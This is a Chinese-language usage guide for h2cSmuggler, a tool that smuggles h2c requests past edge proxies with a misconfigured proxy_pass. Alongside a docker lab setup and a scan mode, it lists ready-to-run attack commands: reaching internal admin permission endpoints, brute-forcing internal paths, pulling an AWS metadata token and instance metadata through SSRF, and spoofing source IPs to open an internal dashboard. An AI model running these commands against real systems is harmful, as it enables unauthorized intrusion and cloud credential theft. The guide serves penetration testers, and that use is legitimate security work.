h2csmuggler:一款隐蔽性极强的HTTP2明文通信工具
字数 1168 2025-08-15 21:32:22
HTTP/2明文通信工具h2cSmuggler使用指南
工具概述
h2cSmuggler是一款隐蔽性极强的HTTP/2明文(h2c)通信工具,能够利用h2c兼容的后端服务器建立HTTP/2明文通信,并隐藏HTTP流量以通过不安全的边缘服务器proxy_pass配置。
工作原理
该工具利用了以下关键机制:
- 通过h2c(HTTP/2明文)协议与后端服务器通信
- 利用不安全的proxy_pass配置绕过边缘服务器的安全限制
- 通过HTTP/2多路复用特性提高通信效率
环境准备
依赖安装
唯一依赖是Python的hyper-h2库:
pip3 install h2
测试环境搭建
使用docker-compose模拟测试环境:
# 生成证书
./configs/generate-certificates.sh
# 启动服务
docker-compose up
测试环境包含:
- 8000端口:HTTP h2c后端
- 8001端口:HAProxy -> h2c后端(不安全默认配置)
- 8002端口:nginx -> h2c后端(不安全自定义配置)
- 8003端口:Nuster -> HAProxy -> h2c后端(多层代理不安全配置)
基本使用
扫描模式
扫描URL列表寻找受影响的proxy_pass终端节点:
./h2csmuggler.py --scan-list urls.txt --threads 5
将结果重定向到文件:
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
测试单个节点
./h2csmuggler.py -x https://www.example.com/api/ --test
高级利用
1. 绕过边缘服务器访问内部节点
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' \
-H "Content-Type: application/json" -H "X-SYSTEM-USER: true" \
http://backend/api/internal/user/permissions
2. 使用HTTP/2多路复用爆破内部节点
./h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
3. 利用Host Header SSRF获取AWS元数据令牌
./h2csmuggler.py -x https://edgeserver -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
http://169.254.169.254/latest/api/token
使用获取的令牌:
./h2csmuggler.py -x https://edgeserver \
-H "x-aws-ec2-metadata-token: TOKEN" \
http://169.254.169.254/latest/meta-data/
4. IP地址欺骗访问内部仪表盘
./h2csmuggler.py -x https://edgeserver \
-H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" \
http://backend/system/dashboard
参数详解
| 参数 | 描述 |
|---|---|
--scan-list |
指定要扫描的URL列表文件 |
--threads |
设置扫描线程数 |
--upgrade-only |
从输出Connection头中移除HTTP2-Settings |
-x/--proxy |
指定要绕过的代理服务器 |
-i/--wordlist |
指定路径爆破字典 |
-X/--request |
设置走私请求的HTTP方法 |
-d/--data |
设置走私请求的数据 |
-H/--header |
添加走私请求头 |
-m/--max-time |
设置socket超时(秒,浮点数,默认10) |
-t/--test |
测试单个代理服务器 |
-v/--verbose |
启用详细输出 |
注意事项
- h2c本应只在明文通信信道上执行,在HTTPS服务中检测可能会报真阳性
- HTTP服务可能产生假阳性结果
- 建议使用目录列表进行目录枚举
- 工具使用类curl语法处理请求
项目地址
GitHub仓库: h2cSmuggler
通过掌握这些技术细节和使用方法,安全研究人员可以有效地识别和利用不安全的h2c代理配置,进行安全测试和漏洞验证。